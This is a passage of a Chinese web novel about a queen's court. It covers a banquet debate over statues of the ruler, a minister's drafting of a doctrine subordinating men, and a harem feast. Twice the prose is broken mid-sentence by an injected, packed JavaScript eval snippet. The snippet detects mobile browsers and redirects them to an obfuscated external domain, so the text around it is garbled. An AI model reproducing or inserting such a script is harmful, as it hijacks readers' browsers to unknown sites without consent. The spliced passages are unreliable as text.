属于宵朝王上魏勉的,崭新而充满挑战的一天,开始了。赤霄时代波澜壮阔的画卷,正由她亲手,一笔一划,浓墨重彩地绘制开来。 8. 玉麟夜宴,朝堂微澜暗分流 赤霄二年,玉麟殿内,灯火辉煌。 这是魏勉登基近两年来,第一次真正意义上私下宴请群臣。 有资格列席的,无一不是三枢府的核心重臣、六部尚书以及其他几个关键部门的主官。内务府总管典微亲自操持,宴席布置得雅致而不失皇家气派,佳肴美酒流水般呈上,气氛表面上一团和气。 魏勉今日换下了一身略显繁复的朝服,只着一件绣着暗金云纹的深紫色常服,长发以一支简单的白玉簪束起,少了些日间的凌厉威严,多了几分属于主人的温和。她端坐主位,目光含笑,一一扫过在座的每一位臣工。 宴会伊始,魏勉举起手中的金樽,目光缓缓扫过阶下群臣,声音清朗,带着恰到好处的温和与威严: “诸位爱卿,宵朝初立至今,转瞬已近两年。这两年间,内安民生,外拓商路,北境烽烟渐熄,南疆沃土初定,百废俱兴,国库日盈。这一切,皆仰赖诸位勠力同心,宵衣旰食,为我宵朝鞠躬尽瘁。今日这杯薄酒,孤先敬诸位!” 她一饮而尽,姿态豪迈。 群臣连忙起身,山呼:“王上圣明!宵朝万年!” 一时间,殿内气氛热烈,充满了对王上的崇敬与对未来的期盼。 “诸位爱卿免礼。方才孤言,宵朝初立,百废俱兴,国库日盈,此非虚言。这两年间,宵朝能有今日之气象,皆赖诸位不辞辛劳,各司其职,方能初见成效。” 她的目光首先落在了首辅大臣雍华鹤身上:“雍爱卿,自孤登基以来,你便为孤擘画宵朝行政之新蓝图,以‘灵脉为基,分设辖区,流官治理,权归中央’之策,替代了旧时氏族割据、各自为政的沉疴。虽推行之初,阻力重重,然如今各辖区督抚已各司其职,政令初步畅通,为我宵朝万世基业,打下了最坚实的地基。天衡府上下,劳苦功高,孤深感欣慰。” 雍华鹤闻言,连忙起身,恭敬行礼:“王上过誉。此皆王上高瞻远瞩,臣等不过奉旨行事,不敢居功。”她神情沉稳,言语谦逊,却也难掩眉宇间的一丝自豪。 魏勉微微颔首,又看向户部尚书蔺竹修和工部尚书郑世安:“蔺爱卿,郑爱卿,‘欲强国,先通货,后齐衡’。这两年,由户部牵头,工部协作,宵朝新币赤霄圆已逐步推行于各大州府,通行无阻;而新的度量衡标准器,也已铸造完毕,即将颁行天下。货币统一,商旅便利;度量衡划一,则赋税公平,民心安定。此二事,利在当代,功在千秋!你们两部,居功至伟!” 蔺竹修和郑世安对视一眼,皆从对方眼中看到了喜悦,连忙出列谢恩:“臣等惶恐!皆赖王上天威,方能顺利推行!”她们知道,这两件事做起来有多么艰难,触动了多少旧有势力的利益,若非王上在背后强力支持,绝无可能在短短两年内初见成效。 魏勉的目光又转向刑部尚书卫掠和礼部尚书江知舟:“卫爱卿,江爱卿,国无常法,则民无所措。孤命你们协同天衡府,以月剿法典为基,结合我宵朝今日之情状,编撰《宵朝律疏》。如今律疏初稿已成,待孤与三枢府共议修订之后,便可颁行天下。此律,将是我宵朝治国之本,万民行事之规。其间辛劳,孤亦知晓。” 卫掠那张总是带着几分阴沉的面容,此刻也难得地柔和了些许,与江知舟一同出列,沉声道:“为王上分忧,为宵朝立法,乃臣等分内之职。能参与此等开创万世法统之盛事,臣等与有荣焉!” 最后,魏勉的目光落在了大司戎霍靖戎和兵部尚书周桀身上,她的语气中带上了一丝属于军事统帅的锐利与赞赏:“霍爱卿,周爱卿,国之大事,在祀与戎。我宵朝以武立国,军队之整编与战力之提升,乃国祚安危之所系。” “这两年,由镇戎府主导,兵部协同,对收编的各路降军、以及原有各氏族私兵,进行了大刀阔斧的去芜存菁、统一号令、整肃军纪、强化训练。如今,我宵朝中央禁军初具规模,各边境守备军亦渐趋精锐。北境烽烟虽未全熄,然已有裴大统率坐镇,宵小不敢妄动;东海之上,段大统率亦在积极扩建水师,扬我宵朝国威。这一切,与你们二位的运筹帷幄、日夜操劳密不可分!” 霍靖戎与周桀对视一眼,她们知道,军队的整编是所有改革中最艰难、也最容易引发动荡的一环,这两年她们承受了巨大的压力。此刻得到王上的公开肯定,所有的辛劳似乎都值得了。两人一同出列,声音铿锵有力:“为王上练精兵,为宵朝铸坚盾!臣等万死不辞!” 魏勉看着阶下这些或沉稳、或精明、或刚毅、或严酷的臣子,脸上露出了满意的笑容。她知道,宵朝这架巨大的马车,正是在这些人的共同推动以及她本人的牢牢掌控下,才开始稳健地驶向她所规划的那个宏伟未来。 “好!”她再次举起酒杯,“今日,我们君臣同乐!也预祝我宵朝,在诸位爱卿的辅佐之下,日益强盛,国祚万年!” “王上圣明!宵朝万年!”群臣再次起身,举杯同庆,殿内气氛达到了顶点。 魏勉含笑看着这一切,心中却明镜似的。这两年来,宵朝的成就固然可喜,但水面之下的暗流,也从未停歇。 今日这宴席,既是犒赏,也是试探。 酒过三巡,菜过五味。当殿内气氛在乐师们演奏的《万国来朝》的激昂曲调中达到一个小高潮时,礼部尚书江知舟与邻座的工部尚书郑世安,和户部尚书蔺竹修悄然交换了一个眼神。 江知舟款款起身,手持酒杯,来到殿中,对着魏勉深深一拜,声音带着几分激动: “启禀王上!臣斗胆,今日见我宵朝国力蒸蒸日上,万民归心,皆因王上圣明无二,如同日月经天,光耀四海!臣以为,我宵朝既已开创前所未有之大业,当立万世不移之精神图腾,以凝聚人心,昭示国威,传扬王上之不世功绩!” 魏勉眼眸微抬,不置可否地“哦?”了一声,示意她继续。 江知舟受到鼓舞,声音更加热切:“臣以为,可在京都中轴之地,以及各州府郡县之要冲,为王上您,修筑巨型灵石雕像!” 此言一出,殿内瞬间安静了片刻,随即响起一片交头接耳的议论声。 “此雕像当以万年玄武岩为基,千年灵玉为体,由国中顶尖匠人合力雕琢,展现王上您当年结束乱世、开创宵朝的英姿与神武!更可于雕像之下,铭刻王上您的圣训与功绩,让宵朝子民,世世代代瞻仰学习,沐浴皇恩!” 江知舟越说越激动,仿佛已经看到了那万民朝拜的盛况。 她话音刚落,工部尚书郑世安立刻起身附和,声音洪亮:“江尚书所言极是!月剿、怀汐、重黎三位上古先贤虽值得敬仰,然其事迹毕竟久远,其教诲也未必全然契合我宵朝今日之国情。而王上您,乃是开创万世基业之不世雄主!您的功绩,您的思想,才是引领我宵朝走向更辉煌未来的指路明灯!” “工部早已勘探过,京畿附近便有几处极佳的灵石矿脉,足以支撑此等浩大工程!若王上恩准,臣必将调集天下能工巧匠,确保将王上您的雕像,雕琢得气势恢宏,万古流芳!此举不仅能彰显我宵朝国力,更能带动各地石材、运输、工匠等百业兴旺,可谓一举多得!” 户部尚书蔺竹修也一改往日“铁算盘”的严肃,适时地补充道:“王上,国库目前虽不算极其充盈,但支撑此等‘万世功业’的开销,尚在可控范围之内。并且,各地世家大族感念皇恩,亦可鼓励她们踊跃捐输,共同为此盛举添砖加瓦。此乃凝聚人心,彰显王上之德的绝佳时机。” 魏勉听着,脸上依旧带着淡淡的笑意,指尖却在御案上轻轻敲击着,似乎在认真地权衡。 这些老狐狸......倒是会投孤所好。 她心中冷笑。 建造雕像,宣扬个人功绩,树立绝对权威,这确实极大地满足了她的虚荣心,也与她期望将万千敬畏尽归于己身,铸就王朝不二之核心的意图,不谋而合。 但她深知,此事一旦开口应允,便再无转圜余地,其中的利弊,她还需要再掂量掂量。 就在此时,一个清朗却带着几分凝重的声音响起。 首辅大臣雍华鹤缓缓起身,对着魏勉微微躬身,语气恭敬却不失坚定:“王上,江尚书等同僚为王上树碑立传、彰显功绩之心,臣深感钦佩。” 她顿了顿,目光扫过殿内那些因为“建造雕像”提议而显得有些兴奋或若有所思的官员,声音清晰地继续道:“......只是,正如王上先前所言,宵朝初立,百废待兴,民生尚需调养。此等遍及全国的巨型雕像工程,所耗钱粮、人力,恐怕难以估量。” “《月剿法典》有云:‘王者之德,在安民而非炫己。’臣以为,与其耗费巨资修建外在之形,不如将更多钱粮用于兴修水利、减免赋税、普及教育、抚恤伤残,以固国本,以安民心。待我宵朝真正国富民强,百姓安居乐业,王上您的功绩,无需雕像,亦能万古流芳,深入人心。” 雍华鹤这番话,说得极其委婉,句句不离“为王上着想”、“体恤民情”,却也清晰地表达了反对意见。 殿内气氛瞬间微妙起来。一些同样出身寒门、或更注重实际民生的官员,闻言也纷纷点头,小声附和。 江知舟等人脸色微变,刚想反驳,却见大祭司封彩也缓缓开口,声音空灵而威严:“雍首辅所言,合乎天地生养之道。灵脉需滋养,民心亦需滋养。过度索取,必遭反噬。望王上明鉴。” 连一向不轻易参与政务争论的司灵府都表态了,江知舟等人的气焰不由得弱了几分。 但她们显然不甘心就此罢休。礼部尚书江知舟再次上前,声音更加恳切动人:“王上!雍首辅与大祭司体恤民情之心,臣等亦深有同感!然,精神之塑造,与民生之安稳,并非全然对立!一座座象征着王上您不屈意志与赫赫战功的雕像,矗立于宵朝各地,能时刻警醒宵小,更能激励万民同心同德,开创盛世!此乃‘铸魂’之举,其功在当代,利在千秋啊!至于钱粮……臣以为,可分期进行,先从京都开始,再逐步推广,量力而行,未必会过度劳民伤财。” “正是!”工部尚书郑世安也连忙帮腔,“而且,修建雕像,亦能为无数力者工匠提供生计,促进技艺交流,本身也是惠民之举!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817783|175397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连平日里主管军事、不常参与此类文化建设的兵部尚书周桀,也难得地开口,声音铿锵:“王上雕像立于各地,亦能时刻提醒我宵朝将士,为谁而战,为何而战!此乃激励军心,巩固军魂之善举!” 一些平日里与这三部关系密切、或想要借机讨好王上的官员,也纷纷察觉到王上似乎对建造雕像之事并不反感,便也开始七嘴八舌地附和起来,一时间,殿内支持建造雕像的声音,似乎又隐隐占了上风。 魏勉听着众人的争论,脸上的表情始终淡淡的,看不出喜怒。她端起酒杯,轻轻晃动着里面琥珀色的酒液,目光却仿佛穿透了眼前的歌舞升平,看到了更深远的东西。 许久,她才缓缓放下酒杯,发出“嗒”的一声轻响。 殿内瞬间安静下来。 “诸位爱卿之言,孤都听到了。”魏勉的声音平静无波,“雍首辅体恤民情,心怀天下,不愧为百官之首,孤甚慰。江尚书、郑尚书、蔺尚书等为我宵朝计深远,为孤王分忧解难,其忠可嘉。” 她顿了顿,语气似乎带着一丝为难与权衡:“此事关乎国本,也关乎民心,确需慎重。然,宵朝初立,万象更新,确也需要一些足以凝聚国魂、昭示新朝气象的象征之物。” 她沉吟片刻,目光扫过全场,朗声道:“雕像之事,原则上,可行。但规模不必过于庞大,数量也不必遍及所有州府。先在京都、以及北境、东海、南境几个最重要的战略要冲之地,各择一处,修建一座即可。材质,也以坚固实用为主,不必过于追求奢华。工部与户部,要仔细核算,务必量力而行,不可铺张浪费,更不可因此而加重百姓负担。” “至于具体的选址、形制、以及所需款项,便由首辅雍华鹤牵头,会同礼部、工部、户部,共同商议,拿出一个妥善的章程来,再呈报于孤。” “王上圣明!”群臣立刻山呼。 夜宴散尽,群臣告退。玉麟殿内,只剩下魏勉和几个贴身内侍。 “首辅留步。”就在雍华鹤也准备躬身告退时,魏勉忽然开口道。 雍华鹤脚步一顿,心中略感意外,但还是恭敬地应了一声“是”,留了下来。 魏勉屏退了左右,亲自从御案后取出一只小巧的白玉酒壶和两只酒杯,走到雍华鹤面前,为她斟了一杯,也为自己斟了一杯。 “华鹤,”她举起酒杯,脸上是难得的、不带任何君主威仪的、近乎朋友般的平和笑意,“方才在人前,让你受委屈了。” 雍华鹤连忙道:“王上言重了!臣不敢!为国为民,直抒胸臆,乃臣之本分。王上能容臣直言,已是臣之大幸!” 魏勉摇了摇头,与她轻轻碰了一下杯,自己先饮了一小口,才缓缓说道:“孤知道,你是真心为了宵朝,为了百姓。这朝堂之上,若无你这块明镜时时照着,孤怕是真要成了那刚愎自用、听不得半句逆耳忠言的昏君了。” 她的声音里,带着一丝不易察觉的疲惫,也带着一份真正的赏识与倚重。 “今日建造雕像之事......”她看着雍华鹤,目光深邃,“宵朝新立,民心未附,旧朝余孽尚存,边境也不太平。孤需要一个强大的、统一的精神象征,去凝聚人心,去震慑敌人。而这个象征,除了孤自己,还能有谁呢?” “至于劳民伤财之忧......”她轻轻一叹,“孤会尽量把控。但有些代价,为了更大的利益,有时也不得不付。” 雍华鹤沉默地听着,她知道,这是王上在向她解释,也是在某种程度上,寻求她的理解。 “孤知道,这条路不好走。”魏勉的目光再次投向窗外那深沉的夜色,“未来,还会有更多比今日更艰难的抉择。孤需要你,华鹤,需要你这面明镜,时刻提醒孤,莫要迷失了最初的本心。” 她顿了顿,从袖中取出一份早已拟好的、盖着王上玉玺的诏书,递给雍华鹤。 “王上,这是......?”雍华鹤疑惑地接过。 “恒儿那孩子,你也看到了。”魏勉的语气中,带上了一丝属于母亲的柔情与期盼,“孤思来想去,这宵朝上下,唯有你雍华鹤,学识渊博,品性高洁,又深谙治国安邦之道,最适合做太子太师,引她走上正途,助她真正明悟君王之道。” 雍华鹤闻言,浑身剧震!她猛地抬起头,看着魏勉眼中那份沉甸甸的信任与托付,激动得几乎说不出话来! 太子太师!这不仅是荣耀,更是王上对她品性与能力的最高认可!也是将宵朝的未来,部分托付于她之手! “王上......”她的声音带着哽咽,眼眶瞬间就红了,“臣......何德何能......敢当此重任......” “你能。”魏勉的语气不容置疑,却又带着一丝暖意,“孤信你。” 雍华鹤再也控制不住,对着魏勉,深深地、郑重地,跪拜了下去:“臣雍华鹤!领旨谢恩!必将竭尽所能,辅佐太子殿下!鞠躬尽瘁,死而后已!绝不辜负王上厚望!” 魏勉看着伏跪在地的雍华鹤,脸上终于露出了一个发自内心的、真正轻松的笑容。 9. 坤尊乾卑,力者从德总纲成 夜宴几日后的一个略显阴沉的午后,魏勉在御书房批阅完最后一批各地税粮入库的奏报,独独留下了礼部尚书——江知舟。 江知舟今日穿着一身暗青色的、绣着精致云纹的尚书朝服,显得干练而内敛。她安静地侍立在一旁,等待着王上的垂询。 这位掌管着宵朝礼仪、教化、以及意识形态塑造的臣子,不仅拥有不俗的灵力修为,更以其敏锐的政治嗅觉和对王上心思的精准把握,在两年的时间里,便赢得了魏勉的信任与重用。 “知舟,”魏勉声音平静却带着不容置疑的份量,“这两年来,从新朝礼仪的制定,到各级官学的初步章程,再到宣扬宵朝天命的种种举措,你都做得很好。 ......尤其是在如何让我宵朝子民,上至世家贵胄,下至黎民力者,都能‘明其位,安其分,尽其责’这件事上。” 江知舟心中微微一动,连忙躬身道:“王上过誉。臣不过是顺应天时人心,将王上您解万民于水火、再造乾坤的赫赫丰功,如实载录,并辅以礼乐教化,略加阐扬罢了。若无前朝月氏末年,各大氏族各自为政,视领民如草芥,以至田地荒芜,民怨沸腾,又何需王上行此雷霆手段,救万民于倒悬?” 她这番话,既谦卑地将功劳归于王上,又极其巧妙地、不着痕迹地点出了魏勉统一战争的正义性与必要性——正是因为旧时代的失德与无道,才凸显了魏勉取而代之、建立新秩序的天命所归。 魏勉听着,嘴角勾起一抹极淡的弧度,显然对江知舟这番顺水推舟的表述十分受用。 “你说得不错。”魏勉点了点头,语气中带着一丝追忆与不易察觉的冷冽,“月氏末年,名为共主,实则天下分崩,豪族兼并,弱肉强食,民不聊生。孤起兵,确实是为了终结那样的乱世,还天下一个太平。如今,这 ‘形’上的统一,算是初步达成了。” 她话锋一转,眼神变得深邃起来:“但要真正做到长治久安,‘形’定还远远不够,更要‘神’聚。那些旧日里在各大氏族领地内根深蒂固的、各自为政的规矩,那些力者或安于被役使的麻木,或偶有不甘却不知何为正途的迷茫......这些,若不从根本的思想上加以引导和匡正,便如同千里之堤下的蚁穴,看似微小,迟早却会酿成滔天大祸。” 她的目光落在江知舟身上,带着一丝考量:“尤其是对力者的教化,更是以往所有朝代都未曾真正重视,却又至关重要的一环。他们是我宵朝人口之半,是建设与守护不可或缺的力量。但若其心无所依,其行无所范,便极易滋生事端,甚至......重演某些不堪回首的往事。” 江知舟心中一跳,她自然知道王上指的是什么。那是一段阴阳倒悬、乾坤失序的黑暗年代。那段历史,在如今的宵朝,是被严格控制传播的“禁闻”,只有极少数高层和负责编撰史书的礼部核心官员,才有资格接触到那些残缺而恐怖的记载。 “臣......略有耳闻。”江知舟谨慎地回答。 “那便好。”魏勉点了点头,语气依旧平淡,却带着一丝不容置疑的寒意,“孤不希望,这片大地重蹈那般覆辙。” 她顿了顿,目光再次投向窗外的夜色,仿佛能穿透重重宫墙,看到那广阔疆域上每一个角落:“如今宵朝初立,四海宾服,靠的是什么?是孤的灵力,是诸位将军的勇武,是这数十万宵朝将士的铁血。说到底,是力量的压制。” “但孤以为,仅仅依靠力量的压制,是远远不够的。” 魏勉的声音沉了下去,“力者之众,遍布天下,他们是我宵朝建设的基石,亦是军队的骨血。若他们心中只有对灵主强权的畏惧,而无发自内心的认同与归属,一旦这力量的压制出现松动,或者......当某些别有用心之人试图再次挑动那欲望时......” 她没有再说下去,但那未尽之言中蕴含的深意,已足以让江知舟感到一阵从心底升起的寒意。她瞬间明白了——王上想要的,不仅仅是行为上的臣服,更是精神上的彻底归化。 “王上圣明!”江知舟立刻深深一揖,“臣......明白了。王上是希望,能从思想的根源上,为我宵朝男子,立下一套行为的准则,思想的圭臬,让他们不仅在力量上臣服,更在精神上,认同并安于其位,以辅佐灵主、建设宵朝为毕生之荣耀与天职。” “正是此意。”魏勉眼中闪过一丝赞许,“知舟果然聪慧,一点即透。” 她缓缓道:“孤需要一部著作。一部能够从小就对力者进行思想钢印的官方著作。它要明确力者的身份定位、行为规范、道德准则、以及他们存在的真正价值与人生意义。” “这部著作,将作为未来所有力者学堂的必修课本,也要在民间广泛推广、深入人心。孤要让每一个宵朝的男子,从识字之初,便将这些道理刻入骨髓,融入血液,成为他们思考和行为的本能。” 江知舟听得心神震动!她知道,王上这是要从根本上,为宵朝的男性,铸造一副精神的枷锁! 这手段,不可谓不狠,却也可能是确保宵朝长治久安、避免重蹈上古覆辙的最有效的方法。 她深吸一口气,再次躬身:“王上深谋远虑,臣万分钦佩!此事事关国本,臣必将竭尽所能,不负王上重托!” “好。”魏勉点了点头,“此事便全权交由你礼部负责。你需要哪些人手,哪些典籍佐证,皆可自行调配。孤只有一个要求——既要让力者明理,又要让他们安心。” “臣......遵旨!” 江知舟领了这道意义非凡的重任,退出了偏殿。 回到礼部官署,她立刻召集了部中最博学、也最懂得王上心意的几位官员,连夜开始了这部巨著的编撰。 她立于一张巨大的书案前,铺开了一卷崭新的、长达数丈的雪白绢帛。身旁,侍从早已研好了徽墨,准备了数十支大小不一的狼毫笔。 江知舟沉吟片刻,想起了王上那句“明其位,安其分,尽其责”,又想起了上古那段关于“阴阳倒悬”的恐怖记载...... 最终,她饱蘸浓墨,在那雪白的绢帛之上,郑重地写下了四个大字: “力者从德录” 然后,她提笔,开始为这部注定要影响宵朝未来数百年男性命运的思想纲领,写下第一段总纲: “盖闻天地初判,阴阳定位。坤元毓秀,承大地之母灵气,掌世间权柄,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817784|175397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万物之尊长;乾元禀赋,受山河之精气,赋筋骨之力,司劳作与守护,为坤元之辅弼。此乃天经地义,万世不易之大道也。为明力者之本分,彰其德行,辅佐宵朝万世太平,特撰此《力者从德录》,凡我宵朝力者,皆当以此为圭臬,恪守不渝。 第一章:天职与根本——论力者之存世价值 夫力者之生,禀大地之厚,承坤元之育,其力也刚,其性也健。然天地有序,阴阳有位,男子之力,非为己也,乃为辅佐灵主,柱石家国,奉献己力,死而后已。此乃力者之天职,亦是其存世之根本意义。若不能忠于妻主,勤于劳作,勇于守护,则如无根之木,无源之水,其生也无益,其存也无光,枉费大地之母赋予尔等筋骨之力也。 第二章:正心与格物之限——论力者之思维修养 力者之思,当安于实用,精于技艺,不作无谓之远想,不探非分之玄虚。盖因男子心性浮躁,易为外物所惑,若驰骋于灵主之智域,如政略、玄学、灵力本源等,则乱其本分,惑其心神,非唯无益,反有害也。当潜心修习武技,精研工农,强健体魄,以待妻主驱使,此为正途。所谓‘男子无高远之思,方守其阳刚本分’,诚哉斯言。 第三章:持身与德行——论力者之行为规范 夫力者之德,首在忠顺,次在勤勉,再者勇武,而后寡言,终在质朴。侍奉妻主,当如事天,谦卑恭敬,不敢有丝毫懈怠与怨怼。尤重贞洁。男子未婚配前,当守身如玉,元阳未泄,方为匹配首夫之基石,若入侍君之列,亦能赢得妻主青睐与家族尊重。若婚前失贞,则德行有亏,品性不正,为人所轻,纵有万般才能,亦难登大雅之堂,终身受人指点,悔之晚矣。高阶灵主,更能感知其元阳是否纯粹,断无侥幸之理。 第四章:侍奉与传承之辅——论力者于家族之角色 力者入主母之家,当以妻主之命是从,上奉妻主高堂,下睦家中仆役。所出之子,皆归母族,承其灵脉,耀其门楣。男子仅为血脉之源流,于女儿之教养,仅能于体力技艺上略作启蒙,灵力传承与心性塑造,皆由主母及族中女长辈全权负责。若能有幸诞育灵根上佳之女,乃尔之大幸,当倍加感恩妻主恩德。若所出为子,则当严加管教,授其力者技艺,教其忠顺之道,使其日后亦能为灵主家族效力。唯有恪尽夫道,赢得妻主欢心与家族认可,方能被视为‘父’,享有参与部分家庭事务之权利。 第五章:奉公与秩序之石——论力者于社会之定位 力者于社会,乃基石之力。当安于本分,或于田亩间辛勤耕耘,或于工坊中精研技艺,或于军伍中奋勇杀敌。凡此种种,皆是为宵朝之繁荣、灵主之安泰贡献己力。当敬畏灵主,服从官府,不越级,不妄议,不结党,不生非分之想。唯有各安其位,各司其职,方能阴阳和谐,天下太平。 卷末语: 故曰:力者之德,在于忠勇勤勉,安分守己;力者之福,在于妻主恩宠,家族和睦;力者之功,在于辅佐灵主,强盛宵朝。凡我宵朝力者,若能谨遵此录,则上不负大地之母生养之恩,中不负妻主家族知遇之情,下不负己身天赋之力。如此,方可谓之‘贤良力者’,其名亦可传于后世,以为楷模。” 10. 后宫新秀,黑白之间藏机锋 中秋,清冷的月辉如同最上等的鲛绡,轻柔地铺洒在宵朝王宫的每一寸琉璃瓦和青黑石板之上。 玉麟殿内是恰到好处的温馨与华贵,正举行着一场盛大的中秋家宴。殿中悬挂着数百盏形态各异的琉璃宫灯,将整个大殿映照得如同白昼,却又比白日多了几分节日的柔和。 宴席伊始,作为首夫的昭彦第一个起身,手持玉杯,走到殿中,对着魏勉深深一拜。他的神情,是全然的真诚与爱意,没有丝毫在人前的刻意与伪装,声音沉稳而温柔: “臣昭彦,恭祝王上,中秋安康,愿我宵朝如同今夜皓月,圆满皎洁,光照万里。” 他一饮而尽,动作坦荡,眼神温和。 “好。”魏勉看着他,眼中也流露出真实的暖意,“首夫有心了。今日是家宴,不必多礼,坐吧。” 她微微颔首,也饮尽了杯中酒。 昭彦这番中规中矩、却饱含深情的祝福,如同一个信号,瞬间点燃了殿内那些年轻男子们早已按捺不住的雄心。 首先站出来的是裴景然。他身形挺拔,气势凛然:“王上!臣不善言辞,只知王上的江山,是靠铁与血打下来的!臣在此祝您武运昌隆,军威永固!北境三万将士,永远是您手中最锋利的剑!” 他说着,眼神锐利如刀,有意无意地扫过邻座那位衣着华美、气质温润的段宴清,话语中带着一丝军人特有的、对文弱的轻视。 魏勉闻言,脸上露出一丝赞许的笑容:“裴侍君忠勇可嘉,孤记下了。” 这句肯定,让裴景然的胸膛挺得更直了。 然而,他身旁的段宴清却在此时缓缓起身。他并未理会裴景然那带着挑衅的目光,只是对着魏勉,露出一个如沐春风的、无可挑剔的笑容,声音清朗悦耳,如同海鸟在晴空下歌唱: “裴侍君所言甚是,守护疆土,自然要靠将士们的勇武。” 他先是轻飘飘地肯定了一句,随即话锋一至,那温柔的语调里便淬上了一层不易察觉的、淬了毒的蜜糖,“只是,王上宵衣旰食,日理万机,臣等侍奉在侧,更应思虑如何为王上分忧解劳,以雅趣安其心神,以温言解其烦忧。” 他微微一笑,目光流转,仿佛无意地看了一眼裴景然:“若终日只知打打杀杀,未免太过粗莽。毕竟,为王上披荆斩棘是公事,能让王上展颜一笑,才是我们这些家人的责任啊。” 这番话,既将自己抬到了更亲近贴心的“家人”位置,又暗讽了裴景然只知打杀,不懂体贴。 裴景然的面部线条瞬间变得阴沉紧绷。 就在这时,一直沉默不语的封仰止,也缓缓举起了手中的酒杯。他并未起身,只是用他那双幽深得仿佛能看透命运的眼眸,静静地看着魏勉,声音空灵而悠远: “勇武与雅趣,皆是凡尘之相,终将随岁月流转而变化。” 他的声音不大,却奇异地让殿内的喧嚣都为之一静。 “唯有天命星轨,才是永恒。臣不祝王上武运昌隆,因您的‘征服’天机本就所向披靡;亦不祝王上笑口常开,因凡俗之乐未必能动您帝王之心。” 他顿了顿,用一种近乎神谕的语气,缓缓说道:“臣只愿,能在星辰轨迹发生偏离的前一刻,为王上提前捕捉到那一丝预兆。助您洞察天意,顺应大道,方为臣侍奉之根本。” 这番话,瞬间将格局拉到了一个全新的高度。他不仅将裴、段二人的奉承贬低为“凡尘之相”,更将自己的价值,定位在了天命神学的“辅佐者”位置上。 裴景然和段宴清的脸色,都变得极其难看。 魏勉也第一次真正收起了戏谑的笑容,深深地看了封仰止一眼,缓缓点头:“好。封侍君的心意,孤也记下了。” 这短短几轮交锋,火药味十足,机锋暗藏,让在座的其他侍君更是连大气都不敢出,只能赔着笑,偶尔附和两句。 而昭彦看着这些年轻、英俊、才华横溢的男子,用各自最擅长的方式,争夺着他妻主的注意力和宠爱。他觉得自己像个笑话,一个被供奉在“首夫”牌位上、却早已失去了与妻主进行这种情趣博弈资格的可怜人。 然而,魏勉的目光,却在不经意间,越过这些争先恐后、光彩照人的身影,落在了宴席最末尾的一个角落。 那里,坐着一个异常安静的侍君。 他叫时安。 魏勉对他有印象。当初纳侍君时,他母亲——内务府贡品司的一位小小典仪官,几乎是倾尽家财才勉强将他送入宫中。这两年来,他如同一个透明人,从不参与任何争宠,从不主动上前献媚,甚至在宫中偶遇时,也只是低眉顺眼地行礼,然后迅速退到一旁,仿佛生怕引起她一丝一毫的注意。 魏勉其实早就因为他那出众得近乎过分的容貌和那股子与后宫格格不入的疏离气质而注意到了他。 但一来,时安的母族毫无势力可言,无需她费心笼络;二来,他自己这般不争不抢,魏勉政务繁忙,每日又被各种殷勤备至的侍君环绕,自然也不会上赶着去了解一个看似无欲无求的透明人。 可今日,在这阖宫团圆的家宴之上,看着所有人都想方设法地在她面前展现自己,唯独他,依旧安静地坐在角落里,自顾自地、慢条斯理地品着茶,仿佛周遭的一切热闹都与他无关…… 魏勉的心中,竟没来由地升起了一丝烦躁与不满。 很好。今日,孤便偏要探一探,你这看似清心寡欲的皮囊之下,究竟藏着怎样的心思! 宴席结束后,魏勉屏退了大部分侍从,只留典微一人远远跟着,自己则换上了一身不起眼的深色便服,信步走入了月色下的御花园。 她看着时安那清瘦而挺拔的背影,独自一人,穿过花丛,走过小桥,最终,在花园深处一处最僻静的、临水而建的观星亭内,停了下来。 魏勉隐于暗处,饶有兴味地看着。她以为,这个不争不抢的侍君,或许是心中有什么郁结,要独自一人来此伤春悲秋? 却没想到—— 只见时安极其熟练地从石桌下的暗格中,取出一副温润的白玉棋盘和两罐黑白分明的棋子。然后,他便在石凳上坐下,神情专注地,自己与自己对弈起来。 月光如水,洒在他身上,为他那身月白色的长袍镀上了一层朦胧。 他时而蹙眉沉思,时而指尖拈起一子,在空中悬停片刻,又极其果断地落下,发出一声清脆声响。黑白两条大龙在棋盘上疯狂绞杀,棋局激烈,杀气腾腾,与他那张清冷出尘的脸,形成了奇异的反差。 魏勉看着这一幕,眼中那丝烦躁不满,渐渐被更浓厚的兴趣所取代。 她不再隐藏身形,缓步走到时安的棋盘前,看着棋盘上那黑白分明、厮杀正酣的棋局,淡淡开口,语气带着一丝上位者的戏谑: “满园秋色,诸君皆在争妍,唯你在此枯坐对弈,与石子为伴。时侍君,不觉冷清?” 时安拈着一枚黑子的手,在半空中微微一顿。他似乎并未因王上的突然出现而惊慌失措,只是极其从容地,将那枚棋子放回棋罐,然后起身,对着魏勉,行了一个不卑不亢的、标准的长揖之礼。 “回王上。” 当他抬起头时,魏勉才第一次,如此近距离地、清晰地看清了他的容貌。 那是一种如同雨后初晴,被溪水洗涤过的青竹,带着一种天然的、不染尘埃的洁净感。他的肌肤白皙如玉,眉眼清俊,鼻梁高挺,一切都恰到好处。 他最引人注目的,是那双桃花眼。眼型狭长,眼尾微微上翘,不笑的时候,眼波流转,便自带三分多情;而此刻,他唇边噙着一抹极淡的、若有若无的微笑,那双眼睛便如同落满了星辰的清澈湖面,能轻易将人的心神都吸进去。 这是一个能让任何人都瞬间联想到“初恋”这个词语的少男。干净、美好、带着一丝不易察含有书卷气的疏离,却又在眉梢眼角,藏着一丝能勾魂摄魄的风情。 